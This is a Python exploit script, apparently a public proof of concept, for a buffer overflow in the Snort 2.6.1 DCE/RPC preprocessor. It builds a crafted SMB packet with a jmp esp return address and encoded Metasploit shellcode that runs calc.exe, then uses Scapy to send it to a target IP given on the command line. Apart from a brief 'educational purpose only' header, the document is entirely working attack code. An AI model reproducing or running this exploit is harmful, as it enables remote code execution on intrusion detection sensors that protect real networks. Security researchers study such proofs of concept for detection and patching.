#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (Command Execution Version)
# 
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit call calc.exe on Windows XP SP2 + Snort 2.6.1
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) 
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################

import sys
from scapy import *
from struct import pack
conf.verb = 0

# NetBIOS Session Service
payload = "\x00\x00\x02\xab"

# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"

# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"

# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"

#payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee"

# 0x7c941eed -> jmp esp; make stack happy; windows/exec calc.exe (metasploit.com)
payload += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44"

payload += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9"
payload += "\xd1\x80\xf5\x83\xeb\xfc\xe2\xf4\x55\x39\xc4\xf5\xa9\xd1\x0b\xb0"
payload += "\x95\x5a\xfc\xf0\xd1\xd0\x6f\x7e\xe6\xc9\x0b\xaa\x89\xd0\x6b\xbc"
payload += "\x22\xe5\x0b\xf4\x47\xe0\x40\x6c\x05\x55\x40\x81\xae\x10\x4a\xf8"
payload += "\xa8\x13\x6b\x01\x92\x85\xa4\xf1\xdc\x34\x0b\xaa\x8d\xd0\x6b\x93"
payload += "\x22\xdd\xcb\x7e\xf6\xcd\x81\x1e\x22\xcd\x0b\xf4\x42\x58\xdc\xd1"
payload += "\xad\x12\xb1\x35\xcd\x5a\xc0\xc5\x2c\x11\xf8\xf9\x22\x91\x8c\x7e"
payload += "\xd9\xcd\x2d\x7e\xc1\xd9\x6b\xfc\x22\x51\x30\xf5\xa9\xd1\x0b\x9d"
payload += "\x95\x8e\xb1\x03\xc9\x87\x09\x0d\x2a\x11\xfb\xa5\xc1\xaf\x58\x17"
payload += "\xda\xb9\x18\x0b\x23\xdf\xd7\x0a\x4e\xb2\xe1\x99\xca\xff\xe5\x8d"
payload += "\xcc\xd1\x80\xf5"

payload += "\x90"  # padding

if len(sys.argv) != 2:
	print "Usage snort_execute_dcerpc.py <fake destination ip>"
	sys.exit(1)

target = sys.argv[1]

p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)
